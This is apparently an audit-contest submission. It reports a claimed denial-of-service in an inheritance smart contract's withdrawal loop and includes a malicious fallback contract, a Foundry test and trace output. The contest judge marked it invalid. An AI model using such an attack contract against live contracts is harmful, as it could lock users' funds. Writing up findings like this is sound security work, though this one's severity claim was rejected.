Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Allowing attackers to perform DoS attacks

Summary

If one of beneficieries addresses is a malitious smart contract, then this will couse Denial-of-Service of function withdrawInheritedFunds(). This will make that function impossible to use.

Vulnerability Details

Function withdrawInheritedFunds is vulnerable to DoS attack

function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}

If one address in beneficiaries[] array point to malitious smart contract like that below:

//SPDX-License-Identifier: MIT:If one address in beneficiaries[] array point to malitious smart contract like that below:
pragma solidity 0.8.26;
import {InheritanceManager} from "../../src/InheritanceManager.sol";
contract AttackContract {
InheritanceManager public inheritanceManager;
constructor(address _address) {
inheritanceManager = InheritanceManager(payable(_address));
}
function attack() public {
require(address(this).balance >= 1 ether, "Not enought eth");
inheritanceManager.withdrawInheritedFunds(address(0));
}
fallback() external payable {
if (address(inheritanceManager).balance >= 1 ether) {
inheritanceManager.withdrawInheritedFunds(address(0));
}
}
}

It will couse function withdrawInheritedFunds() to revert every time its called


Foundry test:

function test_DoS() public {
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
AttackContract attackContract = new AttackContract(address(im));
vm.startPrank(owner);
im.addBeneficiery(address(attackContract));
im.addBeneficiery(user2);
im.addBeneficiery(user3);
vm.stopPrank();
vm.warp(1);
vm.deal(address(im), 20e18);
vm.warp(1 + 90 days);
vm.startPrank(user1);
im.inherit();
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}

Foundry test's result

[FAIL: revert: something went wrong] test_DoS() (gas: 416303)
Traces:
[416303] InheritanceManagerTest::test_DoS()
├─ [0] VM::addr(````) [staticcall]
│ └─ ← [Return] user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]
├─ [0] VM::label(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], "user2")
│ └─ ← [Return]
├─ [0] VM::addr(````) [staticcall]
│ └─ ← [Return] user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec]
├─ [0] VM::label(user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec], "user3")
│ └─ ← [Return]
├─ [210147] → new AttackContract@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 937 bytes of code
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69726] InheritanceManager::addBeneficiery(AttackContract: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a])
│ └─ ← [Stop]
├─ [23826] InheritanceManager::addBeneficiery(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Stop]
├─ [23826] InheritanceManager::addBeneficiery(user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(1)
│ └─ ← [Return]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 20000000000000000000 [2e19])
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Return]
├─ [22791] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [10494] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ ├─ [1559] AttackContract::fallback{value: 6666666666666666666}()
│ │ ├─ [585] InheritanceManager::withdrawInheritedFunds(0x0000000000000000000000000000000000000000)
│ │ │ └─ ← [Revert] EvmError: Revert
│ │ └─ ← [Revert] EvmError: Revert
│ └─ ← [Revert] revert: something went wrong
└─ ← [Revert] revert: something went wrong


Impact

Lock of funds by making function withdrawInheritedFunds() reverting every time it's called.

Tools Used

Foundry

Recommendations

Implement error handling within the loop, allowing the loop to continue executing even if one iteration fails. Solidity’s try-catch mechanism can be useful here.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.